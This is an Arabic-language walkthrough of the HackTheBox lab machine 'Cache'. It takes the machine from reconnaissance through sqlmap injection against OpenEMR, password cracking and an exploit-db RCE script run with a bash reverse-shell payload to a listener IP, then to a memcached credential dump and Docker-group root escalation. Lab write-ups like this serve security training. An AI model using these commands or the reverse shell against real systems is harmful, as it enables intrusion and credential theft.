Summary
اليوم Cache machine السلام عليكم تم فتح
hachthebox ساقوم بمشاركة مقال صغير يتحدث على هذا التحدي السيرفر متاح عبر منصة
هي منصة مختصة باختبار الاختراق في البداية نقوم ببعض الفحص المبدئي نجد كلمة سر واسم مستخدم بالاضافة الى دومين نايم مصاب
بصلاحية اباشي shell نستغلهما للحصول على sql injection و rce بثغرتين
privilege escalation اما في مايخص
نكتشف ان اليوزر ينتمي الى مجموعة دوكر نستطيع بذلك الحصول على صلاحيات الروت بكل سهولة
Walkthrough
Reconnaissance
1
nmap نبدا بفحص البورتات باستخدام
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -A 10.10.10.188
Starting Nmap 7.60 ( https://nmap.org ) at 2020-08-21 09:17 CET
Nmap scan report for cache.htb (10.10.10.188)
Host is up (0.33s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
| 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_ 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (EdDSA)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.04 seconds
نلاحظ وجود 2 بورت
80 : الخاص بالويب سيرفر
22: الخاص ب ssh
لنبدا مع 80
sqli عند تصفح السيرفر نجد هناك مربع تسجيل الدخول نجرب
لكن لا جدوى الموقع ليس مصاب
Enumeration
نشغل dirb
بالامر التالي
javascript نلاحظ وجود 2 مجلدات
و
jquery
عند فتح المجلد الثاني نجد هناك ملف بداخله كلمة سر و كلمة مستخدم لنحتفظ به ونستمر بالبحث
password : H@v3_fun
username : ash
Subdomain Enumeration FUFF
نبحث عن دومين باستخدام
ffuf
hms وجدنا دومين اسمه
نضع الدومين في ملف
/etc/hosts
1
10.10.10.188 hms.htb
نتصفح الدومين الجديد بعد البحث في جوجل نجد ان التطبيق الشغال في هذا الدومين مصاب بثغرة الحقن
</br> وجدنا هذا الفيديو على يوتيوب يشرح هذه الثغرة
https://www.youtube.com/watch?v=DJSQ8Pk_7hc
نتبع الخطوات كما هو موضح في الفيديو
burp نلتقط الريكوست باستخدام برنامج
نقوم بحفظ الريكوست في ملف
sqlmap ثم نقوم بالحقن باستخدام
sqlmap -r om.req --dbs
om.req —> الريكوست السابقة
--dbs —> عرض قواعد البيانات
وجدنا اسم قاعدة البيانات
لنستخرج الجداول الان sqlmap -r login.req -D openemr --table
-D —> اسم قاعدة البيانات
–table —> استخراج الجداول
الان استخرجنا كل الجداول الان نسحب كلمة السر واليوزر المتواجد في الجدول
users_secure
sqlmap -r login.req -D openemr -T users_secure --dump
وجدنا كلمة سر مشفرة
john نفك تشفيرها باستخدام برنامج
1
2
3
4
5
6
7
8
9
10
$ john /tmp/hash -wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xxxxxx (?)
1g 0:00:00:00 DONE (2020-08-21 16:12) 3.333g/s 2880p/s 2880c/s 2880C/s caitlin..felipe
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
xxxxxx حصلنا على كلمة سر
نجد انها صحيحةopenemr عند تجريبها في
rce من البحث السابق وجدنا ايضا ان البرنامج مصاب بثغرة ووجدنا ايضا سكريبت الاستغلال نحمله من هنا </br>https://www.exploit-db.com/exploits/45161
python 45161.py http://hms.htb/ -u openemr_admin -p xxxxxx -c 'bash -i >& /dev/tcp/10.10.14.212/1338 0>&1'
الخاص بك ip ضع
10.10.14.212 :مكان
الان دخلنا الى السيرفر لكن بصلاحيات اباشي
Privilege Escalation
باستخدام الامر التالي نلاحظ ان البورت 11211 مفتوح
netstat -plant
memcached هذا البورت خاص ب
netstat -plant
لنقم بسحب البيانات
telnet عبر memcached نتصل ب
telnet localhost 11211
STAT command نكتب الامر التالي
-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
STAT items:1:number 5
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 5
STAT items:1:age_hot 0
STAT items:1:age_warm 0
STAT items:1:age 30
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:evicted_active 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 140
STAT items:1:lrutail_reflocked 0
STAT items:1:moves_to_cold 3205
STAT items:1:moves_to_warm 0
STAT items:1:moves_within_lru 0
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 0
STAT items:1:hits_to_temp 0
END
ثم stats cachedump 1 0
1
2
3
4
5
6
7
8
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
حصلنا على اليوزر
1
2
3
4
get user
VALUE user 0 5
luffy
END
حصلنا على كلمة السر
1
2
3
4
get passwd
VALUE passwd 0 9
0n3_p1ec3
END
ssh حصلنا على اليوزر و كلمة السر لنجرب الاتصال عبر
doker ينتمي الى المجموعة luffy نكتشف ان اليوزر
gtgobins نذهب الى موقع
https://gtfobins.github.io/gtfobins/docker/
1
2
3
luffy@cache:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 2ca708c1c9cc 7 months ago 64.2MB
حصلنا على صلاحيات رووت